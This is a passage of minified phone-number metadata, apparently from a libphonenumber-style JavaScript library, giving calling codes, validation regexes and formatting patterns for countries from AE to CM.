\\\\d)\\\\d{7}|[135-9]\\\\d{5}\",[6,8,9],[[\"(\\\\d{3})(\\\\d{3})\",\"$1 $2\",[\"[135-9]\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"1\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6\"]]]],AE:[\"971\",\"00\",\"(?:[4-7]\\\\d|9[0-689])\\\\d{7}|800\\\\d{2,9}|[2-4679]\\\\d{7}\",[5,6,7,8,9,10,11,12],[[\"(\\\\d{3})(\\\\d{2,9})\",\"$1 $2\",[\"60|8\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[236]|[479][2-8]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d)(\\\\d{5})\",\"$1 $2 $3\",[\"[479]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"5\"],\"0$1\"]],\"0\"],AF:[\"93\",\"00\",\"[2-7]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2-7]\"],\"0$1\"]],\"0\"],AG:[\"1\",\"011\",\"(?:268|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([457]\\\\d{6})$|1\",\"268$1\",0,\"268\"],AI:[\"1\",\"011\",\"(?:264|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2457]\\\\d{6})$|1\",\"264$1\",0,\"264\"],AL:[\"355\",\"00\",\"(?:700\\\\d\\\\d|900)\\\\d{3}|8\\\\d{5,7}|(?:[2-5]|6\\\\d)\\\\d{7}\",[6,7,8,9],[[\"(\\\\d{3})(\\\\d{3,4})\",\"$1 $2\",[\"80|9\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"4[2-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2358][2-5]|4\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[23578]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"6\"],\"0$1\"]],\"0\"],AM:[\"374\",\"00\",\"(?:[1-489]\\\\d|55|60|77)\\\\d{6}\",[8],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"[89]0\"],\"0 $1\"],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"2|3[12]\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"1|47\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"[3-9]\"],\"0$1\"]],\"0\"],AO:[\"244\",\"00\",\"[29]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[29]\"]]]],AR:[\"54\",\"00\",\"(?:11|[89]\\\\d\\\\d)\\\\d{8}|[2368]\\\\d{9}\",[10,11],[[\"(\\\\d{4})(\\\\d{2})(\\\\d{4})\",\"$1 $2-$3\",[\"2(?:2[024-9]|3[0-59]|47|6[245]|9[02-8])|3(?:3[28]|4[03-9]|5[2-46-8]|7[1-578]|8[2-9])\",\"2(?:[23]02|6(?:[25]|4[6-8])|9(?:[02356]|4[02568]|72|8[23]))|3(?:3[28]|4(?:[04679]|3[5-8]|5[4-68]|8[2379])|5(?:[2467]|3[237]|8[2-5])|7[1-578]|8(?:[2469]|3[2578]|5[4-8]|7[36-8]|8[5-8]))|2(?:2[24-9]|3[1-59]|47)\",\"2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3[78]|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8[23])|7[1-578]|8(?:[2469]|3[278]|5[56][46]|86[3-6]))|2(?:2[24-9]|3[1-59]|47)|38(?:[58][78]|7[378])|3(?:4[35][56]|58[45]|8(?:[38]5|54|76))[4-6]\",\"2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3(?:5(?:4[0-25689]|[56])|[78])|58|8[2379])|5(?:[2467]|3[237]|8(?:[23]|4(?:[45]|60)|5(?:4[0-39]|5|64)))|7[1-578]|8(?:[2469]|3[278]|54(?:4|5[13-7]|6[89])|86[3-6]))|2(?:2[24-9]|3[1-59]|47)|38(?:[58][78]|7[378])|3(?:454|85[56])[46]|3(?:4(?:36|5[56])|8(?:[38]5|76))[4-6]\"],\"0$1\",1],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2-$3\",[\"1\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"[68]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2-$3\",[\"[23]\"],\"0$1\",1],[\"(\\\\d)(\\\\d{4})(\\\\d{2})(\\\\d{4})\",\"$2 15-$3-$4\",[\"9(?:2[2-469]|3[3-578])\",\"9(?:2(?:2[024-9]|3[0-59]|47|6[245]|9[02-8])|3(?:3[28]|4[03-9]|5[2-46-8]|7[1-578]|8[2-9]))\",\"9(?:2(?:[23]02|6(?:[25]|4[6-8])|9(?:[02356]|4[02568]|72|8[23]))|3(?:3[28]|4(?:[04679]|3[5-8]|5[4-68]|8[2379])|5(?:[2467]|3[237]|8[2-5])|7[1-578]|8(?:[2469]|3[2578]|5[4-8]|7[36-8]|8[5-8])))|92(?:2[24-9]|3[1-59]|47)\",\"9(?:2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3[78]|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8[23])|7[1-578]|8(?:[2469]|3[278]|5(?:[56][46]|[78])|7[378]|8(?:6[3-6]|[78]))))|92(?:2[24-9]|3[1-59]|47)|93(?:4[35][56]|58[45]|8(?:[38]5|54|76))[4-6]\",\"9(?:2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3(?:5(?:4[0-25689]|[56])|[78])|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8(?:[23]|4(?:[45]|60)|5(?:4[0-39]|5|64)))|7[1-578]|8(?:[2469]|3[278]|5(?:4(?:4|5[13-7]|6[89])|[56][46]|[78])|7[378]|8(?:6[3-6]|[78]))))|92(?:2[24-9]|3[1-59]|47)|93(?:4(?:36|5[56])|8(?:[38]5|76))[4-6]\"],\"0$1\",0,\"$1 $2 $3-$4\"],[\"(\\\\d)(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$2 15-$3-$4\",[\"91\"],\"0$1\",0,\"$1 $2 $3-$4\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{5})\",\"$1-$2-$3\",[\"8\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$2 15-$3-$4\",[\"9\"],\"0$1\",0,\"$1 $2 $3-$4\"]],\"0\",0,\"0?(?:(11|2(?:2(?:02?|[13]|2[13-79]|4[1-6]|5[2457]|6[124-8]|7[1-4]|8[13-6]|9[1267])|3(?:02?|1[467]|2[03-6]|3[13-8]|[49][2-6]|5[2-8]|[67])|4(?:7[3-578]|9)|6(?:[0136]|2[24-6]|4[6-8]?|5[15-8])|80|9(?:0[1-3]|[19]|2\\\\d|3[1-6]|4[02568]?|5[2-4]|6[2-46]|72?|8[23]?))|3(?:3(?:2[79]|6|8[2578])|4(?:0[0-24-9]|[12]|3[5-8]?|4[24-7]|5[4-68]?|6[02-9]|7[126]|8[2379]?|9[1-36-8])|5(?:1|2[1245]|3[237]?|4[1-46-9]|6[2-4]|7[1-6]|8[2-5]?)|6[24]|7(?:[069]|1[1568]|2[15]|3[145]|4[13]|5[14-8]|7[2-57]|8[126])|8(?:[01]|2[15-7]|3[2578]?|4[13-6]|5[4-8]?|6[1-357-9]|7[36-8]?|8[5-8]?|9[124])))15)?\",\"9$1\"],AS:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|684|900)\\\\d{7}\",[10],0,\"1\",0,\"([267]\\\\d{6})$|1\",\"684$1\",0,\"684\"],AT:[\"43\",\"00\",\"1\\\\d{3,12}|2\\\\d{6,12}|43(?:(?:0\\\\d|5[02-9])\\\\d{3,9}|2\\\\d{4,5}|[3467]\\\\d{4}|8\\\\d{4,6}|9\\\\d{4,7})|5\\\\d{4,12}|8\\\\d{7,12}|9\\\\d{8,12}|(?:[367]\\\\d|4[0-24-9])\\\\d{4,11}\",[4,5,6,7,8,9,10,11,12,13],[[\"(\\\\d)(\\\\d{3,12})\",\"$1 $2\",[\"1(?:11|[2-9])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})\",\"$1 $2\",[\"517\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3,5})\",\"$1 $2\",[\"5[079]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3,10})\",\"$1 $2\",[\"(?:31|4)6|51|6(?:5[0-3579]|[6-9])|7(?:20|32|8)|[89]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3,9})\",\"$1 $2\",[\"[2-467]|5[2-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"5\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4,7})\",\"$1 $2 $3\",[\"5\"],\"0$1\"]],\"0\"],AU:[\"61\",\"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011\",\"1(?:[0-79]\\\\d{7}(?:\\\\d(?:\\\\d{2})?)?|8[0-24-9]\\\\d{7})|[2-478]\\\\d{8}|1\\\\d{4,7}\",[5,6,7,8,9,10,12],[[\"(\\\\d{2})(\\\\d{3,4})\",\"$1 $2\",[\"16\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2,4})\",\"$1 $2 $3\",[\"16\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"14|4\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[2378]\"],\"(0$1)\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1(?:30|[89])\"]]],\"0\",0,\"(183[12])|0\",0,0,0,[[\"(?:(?:2(?:[0-26-9]\\\\d|3[0-8]|4[02-9]|5[0135-9])|3(?:[0-3589]\\\\d|4[0-578]|6[1-9]|7[0-35-9])|7(?:[013-57-9]\\\\d|2[0-8]))\\\\d{3}|8(?:51(?:0(?:0[03-9]|[12479]\\\\d|3[2-9]|5[0-8]|6[1-9]|8[0-7])|1(?:[0235689]\\\\d|1[0-69]|4[0-589]|7[0-47-9])|2(?:0[0-79]|[18][13579]|2[14-9]|3[0-46-9]|[4-6]\\\\d|7[89]|9[0-4]))|(?:6[0-8]|[78]\\\\d)\\\\d{3}|9(?:[02-9]\\\\d{3}|1(?:(?:[0-58]\\\\d|6[0135-9])\\\\d|7(?:0[0-24-9]|[1-9]\\\\d)|9(?:[0-46-9]\\\\d|5[0-79])))))\\\\d{3}\",[9]],[\"4(?:(?:79|94)[01]|83[0-389])\\\\d{5}|4(?:[0-3]\\\\d|4[047-9]|5[0-25-9]|6[0-26-9]|7[02-8]|8[0-24-9]|9[0-37-9])\\\\d{6}\",[9]],[\"180(?:0\\\\d{3}|2)\\\\d{3}\",[7,10]],[\"190[0-26]\\\\d{6}\",[10]],0,0,0,[\"163\\\\d{2,6}\",[5,6,7,8,9]],[\"14(?:5(?:1[0458]|[23][458])|71\\\\d)\\\\d{4}\",[9]],[\"13(?:00\\\\d{6}(?:\\\\d{2})?|45[0-4]\\\\d{3})|13\\\\d{4}\",[6,8,10,12]]],\"0011\"],AW:[\"297\",\"00\",\"(?:[25-79]\\\\d\\\\d|800)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[25-9]\"]]]],AX:[\"358\",\"00|99(?:[01469]|5(?:[14]1|3[23]|5[59]|77|88|9[09]))\",\"2\\\\d{4,9}|35\\\\d{4,5}|(?:60\\\\d\\\\d|800)\\\\d{4,6}|7\\\\d{5,11}|(?:[14]\\\\d|3[0-46-9]|50)\\\\d{4,8}\",[5,6,7,8,9,10,11,12],0,\"0\",0,0,0,0,\"18\",0,\"00\"],AZ:[\"994\",\"00\",\"365\\\\d{6}|(?:[124579]\\\\d|60|88)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"90\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"1[28]|2|365|46\",\"1[28]|2|365[45]|46\",\"1[28]|2|365(?:4|5[02])|46\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[13-9]\"],\"0$1\"]],\"0\"],BA:[\"387\",\"00\",\"6\\\\d{8}|(?:[35689]\\\\d|49|70)\\\\d{6}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6[1-3]|[7-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2-$3\",[\"[3-5]|6[56]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"6\"],\"0$1\"]],\"0\"],BB:[\"1\",\"011\",\"(?:246|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"246$1\",0,\"246\"],BD:[\"880\",\"00\",\"[1-469]\\\\d{9}|8[0-79]\\\\d{7,8}|[2-79]\\\\d{8}|[2-9]\\\\d{7}|[3-9]\\\\d{6}|[57-9]\\\\d{5}\",[6,7,8,9,10],[[\"(\\\\d{2})(\\\\d{4,6})\",\"$1-$2\",[\"31[5-8]|[459]1\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3,7})\",\"$1-$2\",[\"3(?:[67]|8[013-9])|4(?:6[168]|7|[89][18])|5(?:6[128]|9)|6(?:[15]|28|4[14])|7[2-589]|8(?:0[014-9]|[12])|9[358]|(?:3[2-5]|4[235]|5[2-578]|6[0389]|76|8[3-7]|9[24])1|(?:44|66)[01346-9]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3,6})\",\"$1-$2\",[\"[13-9]|22\"],\"0$1\"],[\"(\\\\d)(\\\\d{7,8})\",\"$1-$2\",[\"2\"],\"0$1\"]],\"0\"],BE:[\"32\",\"00\",\"4\\\\d{8}|[1-9]\\\\d{7}\",[8,9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"(?:80|9)0\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[239]|4[23]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[15-8]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"4\"],\"0$1\"]],\"0\"],BF:[\"226\",\"00\",\"[025-7]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[025-7]\"]]]],BG:[\"359\",\"00\",\"00800\\\\d{7}|[2-7]\\\\d{6,7}|[89]\\\\d{6,8}|2\\\\d{5}\",[6,7,8,9,12],[[\"(\\\\d)(\\\\d)(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"2\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"43[1-6]|70[1-9]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2,3})\",\"$1 $2 $3\",[\"[356]|4[124-7]|7[1-9]|8[1-6]|9[1-7]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"(?:70|8)0\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})\",\"$1 $2 $3\",[\"43[1-7]|7\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[48]|9[08]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"9\"],\"0$1\"]],\"0\"],BH:[\"973\",\"00\",\"[136-9]\\\\d{7}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[13679]|8[02-4679]\"]]]],BI:[\"257\",\"00\",\"(?:[267]\\\\d|31)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2367]\"]]]],BJ:[\"229\",\"00\",\"[24-689]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[24-689]\"]]]],BL:[\"590\",\"00\",\"590\\\\d{6}|(?:69|80|9\\\\d)\\\\d{7}\",[9],0,\"0\",0,0,0,0,0,[[\"590(?:2[7-9]|3[3-7]|5[12]|87)\\\\d{4}\"],[\"69(?:0\\\\d\\\\d|1(?:2[2-9]|3[0-5]))\\\\d{4}\"],[\"80[0-5]\\\\d{6}\"],0,0,0,0,0,[\"9(?:(?:395|76[018])\\\\d|475[0-5])\\\\d{4}\"]]],BM:[\"1\",\"011\",\"(?:441|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"441$1\",0,\"441\"],BN:[\"673\",\"00\",\"[2-578]\\\\d{6}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-578]\"]]]],BO:[\"591\",\"00(?:1\\\\d)?\",\"(?:[2-467]\\\\d\\\\d|8001)\\\\d{5}\",[8,9],[[\"(\\\\d)(\\\\d{7})\",\"$1 $2\",[\"[23]|4[46]\"]],[\"(\\\\d{8})\",\"$1\",[\"[67]\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]]],\"0\",0,\"0(1\\\\d)?\"],BQ:[\"599\",\"00\",\"(?:[34]1|7\\\\d)\\\\d{5}\",[7],0,0,0,0,0,0,\"[347]\"],BR:[\"55\",\"00(?:1[245]|2[1-35]|31|4[13]|[56]5|99)\",\"(?:[1-46-9]\\\\d\\\\d|5(?:[0-46-9]\\\\d|5[0-46-9]))\\\\d{8}|[1-9]\\\\d{9}|[3589]\\\\d{8}|[34]\\\\d{7}\",[8,9,10,11],[[\"(\\\\d{4})(\\\\d{4})\",\"$1-$2\",[\"300|4(?:0[02]|37)\",\"4(?:02|37)0|[34]00\"]],[\"(\\\\d{3})(\\\\d{2,3})(\\\\d{4})\",\"$1 $2 $3\",[\"(?:[358]|90)0\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2-$3\",[\"(?:[14689][1-9]|2[12478]|3[1-578]|5[13-5]|7[13-579])[2-57]\"],\"($1)\"],[\"(\\\\d{2})(\\\\d{5})(\\\\d{4})\",\"$1 $2-$3\",[\"[16][1-9]|[2-57-9]\"],\"($1)\"]],\"0\",0,\"(?:0|90)(?:(1[245]|2[1-35]|31|4[13]|[56]5|99)(\\\\d{10,11}))?\",\"$2\"],BS:[\"1\",\"011\",\"(?:242|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([3-8]\\\\d{6})$|1\",\"242$1\",0,\"242\"],BT:[\"975\",\"00\",\"[17]\\\\d{7}|[2-8]\\\\d{6}\",[7,8],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-68]|7[246]\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"1[67]|7\"]]]],BW:[\"267\",\"00\",\"(?:0800|(?:[37]|800)\\\\d)\\\\d{6}|(?:[2-6]\\\\d|90)\\\\d{5}\",[7,8,10],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"90\"]],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[24-6]|3[15-9]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[37]\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"0\"]],[\"(\\\\d{3})(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]]]],BY:[\"375\",\"810\",\"(?:[12]\\\\d|33|44|902)\\\\d{7}|8(?:0[0-79]\\\\d{5,7}|[1-7]\\\\d{9})|8(?:1[0-489]|[5-79]\\\\d)\\\\d{7}|8[1-79]\\\\d{6,7}|8[0-79]\\\\d{5}|8\\\\d{5}\",[6,7,8,9,10,11],[[\"(\\\\d{3})(\\\\d{3})\",\"$1 $2\",[\"800\"],\"8 $1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2,4})\",\"$1 $2 $3\",[\"800\"],\"8 $1\"],[\"(\\\\d{4})(\\\\d{2})(\\\\d{3})\",\"$1 $2-$3\",[\"1(?:5[169]|6[3-5]|7[179])|2(?:1[35]|2[34]|3[3-5])\",\"1(?:5[169]|6(?:3[1-3]|4|5[125])|7(?:1[3-9]|7[0-24-6]|9[2-7]))|2(?:1[35]|2[34]|3[3-5])\"],\"8 0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"1(?:[56]|7[467])|2[1-3]\"],\"8 0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"[1-4]\"],\"8 0$1\"],[\"(\\\\d{3})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"],\"8 $1\"]],\"8\",0,\"0|80?\",0,0,0,0,\"8~10\"],BZ:[\"501\",\"00\",\"(?:0800\\\\d|[2-8])\\\\d{6}\",[7,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[2-8]\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{4})(\\\\d{3})\",\"$1-$2-$3-$4\",[\"0\"]]]],CA:[\"1\",\"011\",\"(?:[2-8]\\\\d|90)\\\\d{8}|3\\\\d{6}\",[7,10],0,\"1\",0,0,0,0,0,[[\"(?:2(?:04|[23]6|[48]9|50|63)|3(?:06|43|54|6[578]|82)|4(?:03|1[68]|[26]8|3[178]|50|74)|5(?:06|1[49]|48|79|8[147])|6(?:04|[18]3|39|47|72)|7(?:0[59]|42|53|78|8[02])|8(?:[06]7|19|25|73)|90[25])[2-9]\\\\d{6}\",[10]],[\"\",[10]],[\"8(?:00|33|44|55|66|77|88)[2-9]\\\\d{6}\",[10]],[\"900[2-9]\\\\d{6}\",[10]],[\"52(?:3(?:[2-46-9][02-9]\\\\d|5(?:[02-46-9]\\\\d|5[0-46-9]))|4(?:[2-478][02-9]\\\\d|5(?:[034]\\\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\\\d)|9(?:[05-9]\\\\d|2[0-5]|49)))\\\\d{4}|52[34][2-9]1[02-9]\\\\d{4}|(?:5(?:00|2[125-9]|33|44|66|77|88)|622)[2-9]\\\\d{6}\",[10]],0,[\"310\\\\d{4}\",[7]],0,[\"600[2-9]\\\\d{6}\",[10]]]],CC:[\"61\",\"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011\",\"1(?:[0-79]\\\\d{8}(?:\\\\d{2})?|8[0-24-9]\\\\d{7})|[148]\\\\d{8}|1\\\\d{5,7}\",[6,7,8,9,10,12],0,\"0\",0,\"([59]\\\\d{7})$|0\",\"8$1\",0,0,[[\"8(?:51(?:0(?:02|31|60|89)|1(?:18|76)|223)|91(?:0(?:1[0-2]|29)|1(?:[28]2|50|79)|2(?:10|64)|3(?:[06]8|22)|4[29]8|62\\\\d|70[23]|959))\\\\d{3}\",[9]],[\"4(?:(?:79|94)[01]|83[0-389])\\\\d{5}|4(?:[0-3]\\\\d|4[047-9]|5[0-25-9]|6[0-26-9]|7[02-8]|8[0-24-9]|9[0-37-9])\\\\d{6}\",[9]],[\"180(?:0\\\\d{3}|2)\\\\d{3}\",[7,10]],[\"190[0-26]\\\\d{6}\",[10]],0,0,0,0,[\"14(?:5(?:1[0458]|[23][458])|71\\\\d)\\\\d{4}\",[9]],[\"13(?:00\\\\d{6}(?:\\\\d{2})?|45[0-4]\\\\d{3})|13\\\\d{4}\",[6,8,10,12]]],\"0011\"],CD:[\"243\",\"00\",\"[189]\\\\d{8}|[1-68]\\\\d{6}\",[7,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"88\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"[1-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"]],\"0\"],CF:[\"236\",\"00\",\"(?:[27]\\\\d{3}|8776)\\\\d{4}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[278]\"]]]],CG:[\"242\",\"00\",\"222\\\\d{6}|(?:0\\\\d|80)\\\\d{7}\",[9],[[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[02]\"]]]],CH:[\"41\",\"00\",\"8\\\\d{11}|[2-9]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8[047]|90\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-79]|81\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4 $5\",[\"8\"],\"0$1\"]],\"0\"],CI:[\"225\",\"00\",\"[02]\\\\d{9}\",[10],[[\"(\\\\d{2})(\\\\d{2})(\\\\d)(\\\\d{5})\",\"$1 $2 $3 $4\",[\"2\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3 $4\",[\"0\"]]]],CK:[\"682\",\"00\",\"[2-578]\\\\d{4}\",[5],[[\"(\\\\d{2})(\\\\d{3})\",\"$1 $2\",[\"[2-578]\"]]]],CL:[\"56\",\"(?:0|1(?:1[0-69]|2[02-5]|5[13-58]|69|7[0167]|8[018]))0\",\"12300\\\\d{6}|6\\\\d{9,10}|[2-9]\\\\d{8}\",[9,10,11],[[\"(\\\\d{5})(\\\\d{4})\",\"$1 $2\",[\"219\",\"2196\"],\"($1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"44\"]],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"2[1-36]\"],\"($1)\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"9[2-9]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"3[2-5]|[47]|5[1-3578]|6[13-57]|8(?:0[1-9]|[1-9])\"],\"($1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"60|8\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"60\"]]]],CM:[\"237\",\"00\",\"[26]\\\\d{8}|88\\\\d{6,7}\",[8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"88\"]],[\"(\\\\d)(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4 